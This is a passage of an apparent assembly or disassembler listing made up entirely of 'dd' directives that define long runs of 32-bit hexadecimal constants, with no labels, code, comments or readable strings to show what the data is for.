		dd 1BE90572h, 6F37AEE0h, 12888D34h, 69E8C706h, 29D1603Eh
		dd 3EE75BDAh, 806F18B1h, 0FF34B99Eh, 64B76E7Ch,	0EF6208Ch
		dd 8164E912h, 0FC018429h, 0D870D028h, 0B754B7FDh, 20D45049h
		dd 0CE83D84Ch, 2209D683h, 0F1712D68h, 18DA8022h, 22E94391h
		dd 74B5EE4Ah, 5FD8AE49h, 0F821255Ah, 3C2F77Eh, 0E923A27Ch
		dd 0DF5CEAAAh, 106BC6DBh, 93ED68FAh, 0F7880E4Dh, 0A085F949h
		dd 9C199713h, 2241525Bh, 0EFE1C740h, 4DFA1C21h,	0A2C87E41h
		dd 4805C400h, 1BEDBA26h, 0C027AA25h, 27D12901h,	99C0C1E9h
		dd 353D34BBh, 5BB85069h, 3EFE09B8h, 9F2AE6Fh, 0F5075766h
		dd 0C1F43450h, 439BEFCh, 7DADB813h, 0CF20AF58h,	61294076h
		dd 0E80AB01Dh, 5497688Bh, 0B6155291h, 0EDEE8100h, 872F187Dh
		dd 8C0F905h, 0B7005D1Dh, 0B151666Eh, 0B0CFE04Dh, 52D1B5FBh
		dd 3D4FBC02h, 0DC85D3Fh, 0C22FB040h, 274302C0h,	33665F5Bh
		dd 0C1F0440Fh, 0D813F79Dh, 3186B100h, 64D151C0h, 24FE5AE8h
		dd 287B6ABDh, 9557FFBh,	7CBA5886h, 66277653h, 0E1F70B79h
		dd 950CCE9h, 0F0397497h, 0B14BFAE9h, 411D80E4h,	46F73BAAh
		dd 0C839EA5Eh, 3BF5A883h, 0FE0117CCh, 556C0AFFh, 0F444CB29h
		dd 22CC52A1h, 863FF17Ch, 26092813h, 8B4737F3h, 43175E2Ah
		dd 7E29CEDCh, 0F8B06F5Dh, 9706EB0h, 13FE962h, 30981457h
		dd 0C29F5A63h, 0C33D0242h, 0DDA9A50Fh, 7705CE20h, 7B57FE27h
		dd 0D4E9086Ah, 28F72760h, 0F64BDA50h, 0BE1D1D69h, 0F429CE84h
		dd 1CC5AF7Ah, 0AD57C5EAh, 2CEB2BBCh, 6239F6A5h,	680109AFh
		dd 377B71FEh, 5C790CAh,	4EC14234h, 0CA4FE9FDh, 0C448EC2Eh
		dd 4A0FE2E6h, 1BDFD6E9h, 8F44F73Dh, 5AF6CEFFh, 0E9CA20AEh
		dd 83C972C8h, 4DDC826Eh, 1444755Dh, 0DB5A5425h,	1E4802EAh
		dd 0D3864005h, 59B00D44h, 1116637Dh, 22AB0141h,	0B89EA74h
		dd 0C702DBF4h, 603CE339h, 0B1E5238h, 0F3E936D8h, 33252F70h
		dd 0B0655714h, 6C5AEE26h, 0CB2920C6h, 680AA889h, 0A0BD0280h
		dd 80206A2Fh, 7368FED7h, 0E8090014h, 2362355Dh,	561679A2h
		dd 2456EEE9h, 0BC1504BAh, 1CEE1384h, 0A5ED87Ch,	8FF35FFBh
		dd 0CE49EF82h, 0EB10B901h, 0E43F1305h, 430BEEAEh, 72FC60h
		dd 0B5505912h, 0D6013461h, 1C081A1Ch, 298C1408h, 4762464h
		dd 0FEA35DE9h, 8203BB5h, 814F00DCh, 4D032D1Fh, 66EA7E67h
		dd 0A857113h, 6C2808h, 0C7FEDFF6h, 644EEF80h, 53DF4AFAh
		dd 159301D0h, 0A68919B0h, 3B10A056h, 3EFA2D04h,	132AC1AFh
		dd 0A0FB0482h, 0CE6995BCh, 827B8910h, 57AB37BAh, 2ABBE819h
		dd 3E2BD17h, 0E2ACE9B1h, 38F41C75h, 0E70995B4h,	75048858h
		dd 0B923A0C8h, 4E0C1F12h, 7DF38110h, 0EA44062Fh, 72187765h
		dd 0F295BD68h, 0B51B7649h, 0AEB405Ch, 8082A0D2h, 0F728EBEDh
		dd 0C5F5168Bh, 0C1B344DCh, 8030AD84h, 0B7C0B11Eh, 73CF2852h
		dd 32EF7359h, 8758CBB5h, 0C5AB80E3h, 0B0E4BEACh, 68B340ACh
		dd 0E76FCA2Dh, 207C0BF3h, 4BCF54F4h, 7DCEE2C4h,	0E3F25B78h
		dd 94AD062h, 326D3EBh, 23D20CBh, 0D95DC38Dh, 527FAE80h
		dd 20E06695h, 592F4294h, 0F17601h, 6D585C6Ah, 270CA81h
		dd 1457142Ch, 0F7D4022Dh, 0FDF9F5DAh, 6915C942h, 0B7BD331Ah
		dd 9E468A26h, 6498CB5Dh, 6C9837C6h, 0E93A5F06h,	1ED311E5h
		dd 4B515EF2h, 0DD6B8CDAh, 0C3D107DAh, 1E10EB83h, 7FD2052Ch
		dd 16E2E65h, 0E8D75ED4h, 73F168C9h, 0F22DC802h,	760C194Ch
		dd 0B18F523Dh, 58BF66E2h, 0D4723654h, 68590233h, 4C461599h
		dd 55585413h, 921260Fh,	9CF7867Ah, 1C1F980Dh, 38B95EE9h
		dd 8037AD5Eh, 25E5BE56h, 0E1455BD1h, 0C6B42F26h, 0E15F005Bh
		dd 8BCF810Dh, 52606206h, 0CC04ED0Ch, 3CE9137Ah,	5BA2A253h
		dd 257D8DE2h, 89598825h, 0FB1DFA60h, 0B94A4C2Bh, 0C5DD2F0Ah
		dd 0E87B12C9h, 3CBB4F8Ch, 7C705A2Eh, 900451BDh,	0F69C2428h
		dd 29258210h, 664E7800h, 0AAB8632Ch, 955A6840h,	0C152AF22h
		dd 2077FAEAh, 637FFA0Bh, 2A31FD56h, 1C3E62Bh, 7E84C581h
		dd 0A940056Fh, 12F713B7h, 0E014E911h, 3AFEBEC0h, 6824867Ch
		dd 0AFBF5A7Fh, 5C4A0B08h, 3944FA70h, 0CEE320BEh, 0C08A0A81h
		dd 10A806E8h, 0D1681752h, 531BC8BAh, 79B45002h,	62308DB7h
		dd 3FBD824Bh, 6395F616h, 4E5AAD33h, 0E909938Fh,	1C7D796Ch
		dd 31DA7F8Bh, 0C3C34F3Ah, 4092DF68h, 0A75B747Ah, 34A01616h
		dd 0DC371FC1h, 0CD01C909h, 0F0685AB0h, 5DCC344Eh, 0EB6C0435h
		dd 85DFF740h, 0EF80812Ch, 0D798DB0Ah, 0BF59FF93h, 9778492Ch
		dd 0E91726A3h, 0ACE0C318h, 818DA0B1h, 56EBF0Ch,	0D03F6696h
		dd 315BED0Eh, 5002F324h, 0C6DAF927h, 52094BC7h,	51184768h
		dd 0A65A45EBh, 65BB1013h, 9D60A74Fh, 0FFEA9649h, 729DF64Eh
		dd 9440269Eh, 171089B8h, 9780E81Ah, 1B0A12D9h, 39940CC1h
		dd 0A27E70C0h, 19EB75CFh, 85DB1107h, 1F16EB41h,	71D3B809h
		dd 0A15288BCh, 0F23C4426h, 43C474Ch, 120536DBh,	20F625EEh
		dd 0F1F766B5h, 22F91CF8h, 4BB29424h, 0AE7317EEh, 6A7A8260h
		dd 0E0085812h, 0BA5B0E2Fh, 2F927188h, 797CAF6h,	13C712FEh
		dd 2173C22Bh, 0AC3241F7h, 0AAA0126Ah, 4A01B13Ch, 5153E2F9h
		dd 9DE64236h, 0B660305Ch, 73F388B8h, 2FD97F5Ah,	0AB664570h
		dd 0DC878E25h, 0F805C9B1h, 54FCE0DCh, 0A292DBECh, 0A5F8203Eh
		dd 56EE011h, 2C260B8Dh,	33822913h, 7C0B2764h, 74DF0CEAh
		dd 19488D0Bh, 0D0907A48h, 424C420h, 7E2B5EBBh, 0DA13FF64h
		dd 39535DBBh, 2F9C2709h, 84DAC361h, 5A1A68EDh, 16CAD498h
		dd 81077563h, 3E912712h, 0F37F1679h, 0C7815FCFh, 0E06A0DB5h
		dd 0FD956F7Eh, 3BF48FABh, 7EDB590Bh, 8B2CBF29h,	0DF5B9FB6h
		dd 0D5ABD5D6h, 9205FC58h, 0C234C75Dh, 410F966Ah, 5F6A1968h
		dd 0AEE7842Ah, 0B04DAA1h, 0FDA354E8h, 610F4A00h, 266801F0h
		dd 58EB303h, 0B87E23E9h, 7F5DC44Fh, 58C10102h, 0C8899FCCh
		dd 9D162A27h, 0B02147A0h, 0EF415AABh, 87A7F757h, 29591140h
		dd 3C0FD731h, 6F79FE2Fh, 55B30225h, 9C5BD2F7h, 1881A525h
		dd 75E074Ah, 0BBB2D44Bh, 0F3784112h, 0C3301E32h, 5646B8C9h
		dd 0D0C86202h, 12167809h, 0BE0FBFEFh, 0AC3B4A6Dh, 2170CBA9h
		dd 2877FF94h, 54129448h, 0EED5A58Ch, 0E14605Ch,	5867685Fh
		dd 6362B79Eh, 2050F21Fh
		dd 0E4C933B7h, 1BB8086h, 0CD30D6F6h, 0E209320Dh, 9053612Bh
		dd 0B273ED25h, 0DD201B94h, 3B1CBB0Eh, 878B7E19h, 8ECE641Bh
		dd 392A98CBh, 0AC4CEE50h, 0AC7F1278h, 0D2C4EB47h, 91C081Ah
		dd 0D0EFDC14h, 90650FE9h, 39A85F7Eh, 1F2100B5h,	0C130B87Fh
		dd 6080EB6Eh, 7BFB61DFh, 3CC4BE9h, 0DBF1809Fh, 0FC55CB82h
		dd 84421221h, 3CF3EF9Ch, 7B61DD2Fh, 56656058h, 0B0FC44B7h
		dd 0BE4FEEB3h, 2E680007h, 5E742317h, 4EE68102h,	416CF708h
		dd 1283FFDFh, 463F3722h, 26F890FFh, 0F2B5CB15h,	3BD0209Eh
		dd 4982C0Dh, 2E2C78BFh,	0C2A44059h, 61D4065Fh, 0B3516861h
		dd 0EB7D092Fh, 40456979h, 45E40E0h, 0C84CF405h,	7E87BC41h
		dd 0C6C0502Fh, 0CED325FBh, 8CA2AAD3h, 0A8875995h, 0AC26D2D0h
		dd 43190565h, 0E4016DE6h, 4EED06FBh, 30CAE1D8h,	0C10C1310h
		dd 9F3E503Bh, 7BF11E65h, 0D1418CB9h, 1E7210E1h,	6C4AFC3Ah
		dd 47B1020Eh, 49D52F79h, 0EBCCF72Ch, 9111233h, 93B5A9F9h
		dd 0BCD081BAh, 0E1A72EA5h, 0D0BA9650h, 0EE1CCCA6h, 164B2649h
		dd 84D8EB89h, 63F809E9h, 4D12441Bh, 0E85B0806h,	0DFFBC254h
		dd 0D2AF09Dh, 9F8D3BB4h, 9506A6A3h, 6745C30Bh, 0B2FD2D76h
		dd 9E16D708h, 9F301C40h, 97205D78h, 0F7E9162Fh,	80384143h
		dd 3E7A4273h, 2A093E0Ch, 77E93C35h, 49253001h, 0CF655553h
		dd 0E6D566D2h, 0B3F806h, 67B252ACh, 0D2F6E2D0h,	9F4125B8h
		dd 44B7C101h, 866A69C1h, 50AE43Eh, 0E9604B64h, 74449012h
		dd 35A24070h, 804CE9C2h, 782CCBD6h, 124BCF01h, 43F44A10h
		dd 561AA854h, 18CA1D68h, 2D83AA37h, 8BD1BAE9h, 40259F02h
		dd 0A06DFE77h, 0B1CC108h, 604F080Ch, 8980F37Fh,	0F90EC8CDh
		dd 84F5280Bh, 5F096C0Fh, 79C24F7h, 0D7AF04C2h, 63607062h
		dd 0A2D0322h, 0EB82500Eh, 0E6BB352Bh, 0B160169Ah, 7B2A17F6h
		dd 1EBA75C8h, 89731244h, 1ED53E61h, 2F0C9A05h, 2F20240h
		dd 79D5882Dh, 7F84629Ch, 2C0014FFh, 0A683E77Eh,	0F88B12CFh
		dd 54558467h, 0F473B9AFh, 0E61DFCAFh, 5CB240CAh, 6817A392h
		dd 0D8AD76A9h, 0E1595B8Ch, 266ED09h, 80A8F64Ah,	6B934548h
		dd 0D5A04149h, 290BB487h, 5FCA89B2h, 48D07AE9h,	799D5072h
		dd 0CC774B88h, 5E830B43h, 90771C0Bh, 2635408Dh,	8BBB1154h
		dd 4D549D6Ch, 0D5C601C2h, 7BEC61F9h, 0E9288456h, 0C7796B49h
		dd 0EF3CB70Bh, 0FE18FD89h, 6B977ACAh, 2EA4F0A7h, 1E206DFAh
		dd 0C0080434h, 5C038038h, 9CB06D5Fh, 9868125Eh,	0B8BD3007h
		dd 0CC7E0DEEh, 6D482505h, 2EF15A3h, 0A8FC2D37h,	66F7C0C2h
		dd 397495F7h, 0E572C082h, 8551741Ch, 57B04BE4h,	0CB5FFF08h
		dd 0B17D00E7h, 7288526Ch, 0A6F748CEh, 2048542Dh, 5697C0E2h
		dd 0FAAE4799h, 0AB8EC5F5h, 5F5B0009h, 40CAC779h, 23BE7F16h
		dd 0A62D07E3h, 0DD36C2ADh, 0BF0A3558h, 9420424Ah, 65F3ED02h
		dd 930E773Ah, 0E104E86Bh, 875DEAB6h, 0B3445AFFh, 0ACE55FF9h
		dd 6AECB13Eh, 0BDE4E2FCh, 4B5159CCh, 0D1A631ABh, 0EBA181B4h
		dd 88CA6E1Fh, 0E1612AECh, 4A6B8B7Eh, 5FFA4561h,	2E80832Dh
		dd 3542A825h, 810B2C60h, 270B94C2h, 42A854E8h, 99E90908h
		dd 0C983FCDEh, 9509365Ah, 3500FEEh, 129E7AE4h, 47B49101h
		dd 166E1643h, 0BCAC1223h, 7B754215h, 9A1FE26h, 0B1DA7058h
		dd 776842F2h, 0FD88477Eh, 91B90155h, 0BA61BB74h, 0BD14609Ah
		dd 0B04D186Dh, 0F348306Ch, 0B2BE349h, 90778A3Dh, 583B891Ch
		dd 20BC8C12h, 7F0CEE84h, 2969FD26h, 0E362C00Fh,	40FE012Bh
		dd 150081Ch, 756944B8h,	0D8823578h, 0D004007h, 96370BDh
		dd 3D5D8A2Dh, 9E0323ADh, 5643E1Eh, 0F3FF40B0h, 5F8B0097h
		dd 0B71609E9h, 56D4F012h, 538EB59Fh, 0E7C020B7h, 3CFFE02h
		dd 5221EF80h, 0EED96DB6h, 1A9BE706h, 0A0ACEF3h,	0B2F7280Eh
		dd 6623A73Ch, 0FE386EAAh, 1F09BD40h, 0D69548D8h, 44C601CAh
		dd 7B60FC2Fh, 6A13A4F9h, 4D64BF45h, 0EC10A1C2h,	0ACD6209Eh
		dd 0A5296826h, 0E4FA64E2h, 0C0F10445h, 813DAB6Eh, 0E03080B3h
		dd 49094145h, 5665F9E9h, 0D7E2CB5Fh, 129094DFh,	53ADEDE9h
		dd 0CB17E0DAh, 5D3BBB17h, 0F5EB9A00h, 9F76109Ah, 0E0D44C62h
		dd 0D9037B6Ah, 0F758D35h, 465BBA18h, 2BD0CF8h, 29424414h
		dd 8C628ECh, 40140CD0h,	9343B3D0h, 7C906809h, 648292F1h
		dd 0F8772C11h, 216A092Ch, 0D5741870h, 0BC9E0049h, 0F41A787Ah
		dd 0B44360D3h, 0DC381F6Ah, 429FF894h, 0F893A26Fh, 49B0745Fh
		dd 9342FD62h, 7D529A5Ch, 957C36DAh, 1C3D4495h, 0FBF65AD4h
		dd 9857E7A5h, 0E174B3DBh, 9116B008h, 3B1A5E9h, 1626F62Bh
		dd 4DB45810h, 9D5FE79h,	26B86816h, 0EE62BE22h, 0B233D27Dh
		dd 0E04E5AE2h, 790AE61Ch, 0A754BB1Ah, 604AAE00h, 76F08910h
		dd 0CB2BF1E9h, 430BD660h, 1831D8E0h, 602EAC0h, 0CF726805h
		dd 9F8CCB7h, 0D08850A4h, 801D08F7h, 90FBDD16h, 8196BD89h
		dd 1929112h, 22C27D4Eh,	0DE096F54h, 9508A05Bh, 0D1A7F2F6h
		dd 0A240092Bh, 4F27C5E6h, 803CF2C2h, 805A7997h,	3504D8F7h
		dd 0CB82AC3Ah, 0F3FC0BFEh, 0EDD1B360h, 29FC3EEh, 6C40B766h
		dd 0C9B03FC2h, 31596FB0h, 39B05EF1h, 0C8BDF4B9h, 0FD680B0Eh
		dd 0C1E49B0Dh, 0C56671B2h, 0D7648204h, 0AA2CEE16h, 2B9A5D92h
		dd 0CB3F6A07h, 0EDC2D465h, 588284B2h, 17FFCAABh, 70EC1527h
		dd 3C5AD5A1h, 0A2060269h, 0DF25E912h, 45FFD289h, 41464B8h
		dd 2C077EE2h, 0B73250Dh, 3DE5D8A7h, 2164B209h, 1AF28005h
		dd 0C42E826Fh, 55438957h, 56848BCEh, 710271B0h,	2925F10Eh
		dd 260808D7h, 0B365A799h, 81F59C9Dh, 0D4842CECh, 0F572C8A5h
		dd 9D18DE09h, 17D37062h, 122C825Ah, 4050D74Ah, 0C1B0870h
		dd 1E4DF490h, 12E3077Bh, 35A21C8Eh, 6B67D567h, 0A2C9521Fh
		dd 8B1C7D98h, 0FA74749Dh, 2E338040h, 2E704C33h,	0E9C390F8h
		dd 5777489Eh, 0EF9C2D83h, 3F7EA0EAh, 71ABD42Fh,	58AB7479h
		dd 40318FB8h, 5DEFA741h, 330F22Eh, 30F405C3h, 66688AE9h
		dd 89FB9C9Bh, 0BCD6E6EAh, 88980049h, 9525DA2Bh,	59F11456h
		dd 2568F584h, 56768C12h, 2709AEF2h, 5D5E6291h, 37169DD0h
		dd 3307108Fh, 0DF096CAAh, 98B79946h, 7B3EC111h,	0BD70BFD0h
		dd 0D432CE25h, 265EFCBh, 30F6BA9Fh, 12372C50h, 7466F28h
		dd 4406F918h, 3EBCAA5Dh, 6DA52260h, 2E527DE9h, 0AE804A2Ah
		dd 580F36DEh, 0F134AD43h, 0B457EE5Eh, 14FA68EFh, 68E27EC1h
		dd 7F3374F6h, 728AF340h, 0E929187Fh, 5A5FAF06h,	0B11F2BDh
		dd 0ED610DE2h, 3101DEFCh, 0B83DE9EEh, 6567CC2Fh, 8141644Bh
		dd 4C4A0712h, 17E3DB60h, 109A05Ah, 473B4FF5h, 0C7E9F07Dh
		dd 28F94912h, 899E81A8h, 1C32700Fh, 905A55Eh, 79C01DB0h
		dd 0BE23BD68h, 5D5161AFh, 0C640FE50h, 5F4FAC35h, 0B5D12AFh
		dd 44FDF438h, 3ED504BAh, 0FF5A6A7Bh, 0CAC1CC81h, 0E0D720B5h
		dd 274A685Ch, 0C0A81285h, 0E4B3BDB4h, 0AC3ED4A5h, 5D89A218h
		dd 0C665EBD4h, 245C8493h, 0EB5868CBh, 18C60708h, 2E5672Ch
		dd 6B76111Dh, 1628C581h, 0F37F3DFDh, 4CC13B7Bh,	0B46410BEh
		dd 0FB1B550h, 0BFC98088h, 0BF8C3C85h, 36EF4A4Dh, 0ABD11AE8h
		dd 68FCC4F6h, 0F7F3EEE4h, 2D85B50h, 42076562h, 0C2E905E9h
		dd 0D9F6E0B1h, 6B4C06Dh, 0F5DDF9E3h, 9F63F82Fh,	0B975148Ah
		dd 8027EA5h, 31168C61h,	0BE92D4FDh, 93659F45h, 572F248Ah
		dd 1AA19ED7h, 62BC70E9h
		dd 0EDEB6955h, 98D7166Fh, 6B05C3B6h, 5543D110h,	214406C0h
		dd 3BEBB03Ah, 8C9746E5h, 8F8A112Eh, 378680Ch, 915BBD61h
		dd 48C01B28h, 5ACD86B4h, 65FE2B69h, 0E90C0262h,	5EC0CBAh
		dd 0E9D55520h, 0BF95D6F8h, 0BE6B5A8h, 90FE7FC2h, 9198FF6Bh
		dd 0F69F78DBh, 3DA58566h, 408B885h, 0E567D16h, 0D000CEFCh
		dd 93512B0Dh, 68055318h, 20581AA2h, 8DFC9005h, 38C2A7D5h
		dd 0A6F2805Eh, 0BF36E138h, 0DAACF68Fh, 160C1156h, 0C8312A83h
		dd 207641DCh, 0F12B15Fh, 6D044965h, 8F1D1148h, 0E30482B5h
		dd 0DD5A096Bh, 43E57F03h, 9F63958h, 7D79601Bh, 0BCE95010h
		dd 9AF4BE5Fh, 287112CAh, 0A3D704E0h, 0BA54AB52h, 2DF03D71h
		dd 0E57C8B5h, 7E0A2C2Dh, 4E7D1778h, 32E5D981h, 0A08ABA8Ah
		dd 4CBAB519h, 4415D95Dh, 0D0E4BF58h, 5F590905h,	65784246h
		dd 115D0782h, 97EB321h,	0BC104DF5h, 59B5EBDEh, 0E33864F2h
		dd 1DAA96A9h, 0E7ED707h, 4C922C55h, 0CEE76A91h,	0BA845Eh
		dd 0C18853A4h, 0E8F73058h, 0F1272859h, 3496FD5Ah, 44EB302Dh
		dd 0C44C4AD3h, 986FF6F8h, 5E86E90Dh, 0B1C9907Bh, 76258811h
		dd 9863F040h, 232B3875h, 187963C8h, 0EFCC57E9h,	4916E7F2h
		dd 0FD1E4F80h, 9A5C685h, 9C5A90C3h, 0A16990BFh,	0B3BED2Ch
		dd 6453587h, 0DE975C82h, 4250827Fh, 0FE937E5h, 0E9447EC1h
		dd 84134669h, 0BDFF90Dh, 8E37565Eh, 0A5E0B688h,	0F6E0A05Dh
		dd 0B44EF431h, 74C90EBDh, 0C22B24C4h, 0DA0B3D25h, 220509BBh
		dd 0A18A3BC8h, 3ED2096Dh, 0F29C96D5h, 597B2561h, 0FEAE540Bh
		dd 0A4311E63h, 6B5C3479h, 5FC3274Bh, 0FE2BF605h, 7EDC1A41h
		dd 2A7466EDh, 9F77098Eh, 0C358B6E9h, 54FC59Dh, 8D6B6968h
		dd 74EC4018h, 492BD426h, 9DA0504Fh, 0FC485812h,	8C734105h
		dd 2745720Eh, 0D7B3954Dh, 0E6BA857Fh, 91E98256h, 1016FDBAh
		dd 0DB9F0C7Fh, 0B959E561h, 0C5969FECh, 0B885BB37h, 0AB5CCDBCh
		dd 7A91FBF4h, 2981F4E0h, 0B72714C3h, 400C9D34h,	60003D92h
		dd 0D43B84EBh, 0A8EABB5Fh, 669E381Ah, 5074EB4Ah, 2A259B8h
		dd 75CB4E74h, 3EC5A569h, 285F32BCh, 0A64AC4E7h,	0F218C5F3h
		dd 665A109Eh, 0E2D82939h, 6A7BEF86h, 3E89523Eh,	8F195453h
		dd 0D9464E94h, 2AB935E8h, 0C1E466ECh, 707A58Ch,	68CDFE60h
		dd 313C4B02h, 2BD578C2h, 603B69EAh, 1DB287A5h, 0DD79EF75h
		dd 65177D4Eh, 0A55F62ACh, 76B83FADh, 0B830E982h, 6815D9C6h
		dd 0A6FC623Fh, 0FBE927AFh, 71BDC878h, 11E3EA5Eh, 330A52E5h
		dd 0A835C111h, 0B6C54CABh, 99AD3EEDh, 60572BE1h, 0F096FCDh
		dd 725D363Dh, 1AE3B642h, 0E551973h, 96CF4996h, 5B1EF884h
		dd 8501A2CBh, 9824057Bh, 3F7296EEh, 1A866814h, 74EE8654h
		dd 0BDF60543h, 0EA37C97Bh, 74C26F2h, 20EC885h, 0A571D02Ah
		dd 583BF587h, 0DD3B1F24h, 0A6899F05h, 40E65CD4h, 20BB5357h
		dd 5ECC4F39h, 31BB5884h, 4F0E4FBh, 738E9BAh, 28D4A39h
		dd 24D9E47Fh, 689AC8BEh, 193E2A27h, 54CEA2EFh, 0F846046h
		dd 0BE600C7Fh, 0E918DD78h, 0BFFBC0F3h, 733908AFh, 0AA9272F4h
		dd 4A26BDE6h, 0ED066469h, 170A76C8h, 16721EE5h,	6288D752h
		dd 0AE499D2h, 266F450Bh, 220B4C10h, 7EED7822h, 0C30EF453h
		dd 71F5B24Bh, 0D7BEE360h, 7D7BB26h, 856DCFA3h, 0AD798EFh
		dd 0BBD3935Fh, 0A79E0306h, 9C226D1h, 0B120B8FDh, 800417D7h
		dd 0E53AC241h, 36D45E4Eh, 0CEDCFB5h, 2FC38A2Fh,	0DD586AA5h
		dd 87854260h, 5AD6B3C0h, 0E5F28952h, 9F5E6630h,	744E4ADCh
		dd 45D613C2h, 355B0EB6h, 0EE2A03A9h, 0E5FD8D4Dh, 5F080014h
		dd 5D2FE955h, 5F19C476h, 0B458F889h, 0F91F81C3h, 0A02F4C74h
		dd 34406BC9h, 0BC9802BAh, 0D331998Dh, 5BD8CCC0h, 49C66812h
		dd 9DEA7CCh, 5762D76Ch,	6E5F0741h, 0C49F2A82h, 441503F6h
		dd 0D53113A4h, 0B8ED51EBh, 6940E569h, 2DA30550h, 0CA2777E9h
		dd 39B66C45h, 78B13F8Fh, 3265B4A6h, 7F1DB904h, 0B2F84171h
		dd 74E4C902h, 0E16061F3h, 1C2446F1h, 8F120E63h,	818528BEh
		dd 37B3444Fh, 973E8641h, 744C9645h, 440B596Ah, 0A130A513h
		dd 7BCA0A10h, 1DDD2F39h, 682DA4E4h, 3DA64813h, 37C69DC7h
		dd 0E6315004h, 0E3AF010Fh, 420C4101h, 70B72E2h,	86E17A7Fh
		dd 0F27F2116h, 800C2505h, 4C71052Fh, 5C0975F1h,	0D2DF13Dh
		dd 720E6F6h, 0A11147EBh, 30F76FBEh, 5035E988h, 8980AFB4h
		dd 9D6D1268h, 75995D66h, 5F027h, 0D111A36Ch, 2B5D05E8h
		dd 0C128C20Bh, 1B205DE0h, 6B363E27h, 1B2E77FEh,	0E9018E60h
		dd 7C260FD3h, 55CA56Eh,	6DBE1C08h, 92DE9C66h, 281E8890h
		dd 2C0885D0h, 84F7AC85h, 6807B566h, 3671DBC3h, 0CE56789Fh
		dd 0E1C543E2h, 0A587EB28h, 0CCFCE931h, 0F267FE2Eh, 3D17F9B6h
		dd 86E4EFC1h, 0E785133Eh, 223BC380h, 1936C756h,	218AC02Dh
		dd 5DB85EF3h, 571A7E0Bh, 1730806Ch, 952CAE53h, 880E672h
		dd 64FB555Eh, 6D282680h, 3890A220h, 44620782h, 0A593715Fh
		dd 4BF8885Ch, 0E71DC31Fh, 43921740h, 3100BE50h,	0DB0D481Eh
		dd 0B51A1823h, 0ADDFA340h, 0C47A373Fh, 0A78654F4h, 0B15117F3h
		dd 0B27DB862h, 400BBAD7h, 8247E5D5h, 0BE08CE74h, 4AC02556h
		dd 68F8093Bh, 40D2F725h, 2C3E2FE4h, 18898246h, 5EF8776Dh
		dd 669296B1h, 39790BBAh, 6C107FCh, 68300379h, 3C571770h
		dd 5362759h, 0AF29EAAAh, 95F482FAh, 0AEBD04C0h,	81CDD9CCh
		dd 33BF2E5Dh, 0EC0EDE4h, 0CC12DA1h, 68B44559h, 1A73942Eh
		dd 14050C08h, 0A8F2BB5Bh, 1E5D5C2Fh, 0D52E9067h, 0F258710Eh
		dd 0AB23BF7Dh, 9013D848h, 630C8DB2h, 0FF59121h,	56499617h
		dd 5975C369h, 0A4183CA0h, 5AF5B997h, 80DD2800h,	45BB0EDh
		dd 53510035h, 0DFF6FAB7h, 539EFC0h, 8004E7D0h, 1BE1A75h
		dd 28FE2C41h, 7F2271E8h, 53814BADh, 62292036h, 0EA81203Fh
		dd 0B8237A18h, 64644DC5h, 244CA240h, 18C0654h, 721ABEF3h
		dd 51CBD839h, 2060BCE0h, 0F562450Ch, 94029554h,	95409203h
		dd 0C20969C3h, 7801FE74h, 0ABF09F5Fh, 0E02D6B01h, 9312E911h
		dd 0CE0E982Eh, 0FE8C6AF9h, 0CF03BF2Ch, 417D6F6h, 82C7BF68h
		dd 2C9778E5h, 7F6DA5A2h, 0EA2602E5h, 739FCE2h, 42A96259h
		dd 251D14D5h, 177B0AFDh, 13B46847h, 0FDD278ACh,	93B40103h
		dd 0C4FED4F6h, 0ED2C43EDh, 0FAF02913h, 0E8FC22D8h, 60F4ED7h
		dd 2B91B48Fh, 10263D99h, 33437749h, 6F9F4158h, 824D7AEBh
		dd 0D3CF19A3h, 0CCDCAF5Ah, 0D78A1E31h, 9341B202h, 72DFEEE2h
		dd 0EED09D62h, 0E0099287h, 1B305F8Ah, 0A0863230h, 2C545D08h
		dd 40727A15h, 1B4F51B4h, 3AD8E919h, 31DDD3D1h, 483EA128h
		dd 306AFBA7h, 0D5C4B42h, 5A02AB24h, 0E060EC13h,	4A1FEE73h
		dd 445B8EBh, 0EC85F27h,	0F68D1EEDh, 81C77B53h, 2D23026Fh
		dd 14425D49h, 48F74142h, 0B51DE975h, 0E280CF81h, 1F92E008h
		dd 5FF8C9C5h, 0AF686990h, 677A942Bh, 508482CCh,	294E6440h
		dd 0ADCF6239h, 0C01B57D8h, 7E44B5E5h, 958783B4h, 50553783h
		dd 2E5D9CB9h, 9019E8B6h, 0DD572112h, 27E3828h, 9C7886BEh
		dd 0B765D83Ah, 0B2045981h, 6E113030h, 42D04412h, 25E96BC8h
		dd 73487E63h, 0A72DC1BFh, 4BC2D845h, 69C0BF89h,	9677FA68h
		dd 1E066351h, 95E3113Bh, 16A90B0Fh, 8A406921h, 0D6F705E6h
		dd 0E886C14Eh, 0E5356C4Ah, 4863DDDh, 18F32B34h,	0D42C2601h
		dd 1A0E4076h, 0E65F4DBAh
		dd 8C4CEABCh, 595A5E0Dh, 0C97BA6h, 0B32AC6EDh, 6C6609BBh
		dd 0FE92F0F1h, 93954E8Dh, 13FCE6AFh, 806F6106h,	68CA27AFh
		dd 0FDBA1A90h, 0E9AE5C26h, 1FC9C102h, 0C1AF8FBh, 686B4439h
		dd 55139C0Ch, 80E519E4h, 820C0806h, 0DEE58914h,	0B6F727ECh
		dd 429F8803h, 0DE4DB535h, 1B0271A4h, 741C0626h,	8513969h
		dd 0E9EA902Eh, 0A0B5F647h, 7D443A6Ch, 5E437C4Fh, 5E23C2FAh
		dd 7058FCF4h, 1D495DCh,	0F43EC489h, 1145CF97h, 4171FBD1h
		dd 0CB3A1C8Bh, 0F8A950AFh, 0D33BE695h, 770CB2Eh, 3FE07D08h
		dd 81E6F2E3h, 0D13B6271h, 12D4A44h, 0E7DDEF21h,	5E881274h
		dd 3E2DE9D4h, 6F3814CCh, 0A60BD3DEh, 707D05FAh,	4B26F7ABh
		dd 0D3821BEh, 0CBD16F6Ch, 0D539F08Fh, 8B168D09h, 1DF54700h
		dd 104CA415h, 76F6507Fh, 0CDB835C0h, 49221726h,	2850A150h
		dd 47A6F78Dh, 0FD6C0736h, 83DEF145h, 8416B9EEh,	23962234h
		dd 4A6FFC3h, 75E9A88Eh,	0E134EFA9h, 0A218DFFh, 0DCBE05D5h
		dd 0E7A8CC23h, 0E27A7300h, 0B0F18175h, 44127B12h, 3B784E01h
		dd 6AD44EC6h, 0B04F99ABh, 26302978h, 0BA906F63h, 7D43AA32h
		dd 80D0BCAh, 0BA14041Ch, 305837CFh, 0DCA54A13h,	64E68B8h
		dd 88616FDh, 4045E0A1h,	1D2C29E5h, 0EE157148h, 0F7039B94h
		dd 17045C82h, 53ACFB0h,	0C49A430h, 0F9534EAEh, 25C8ED31h
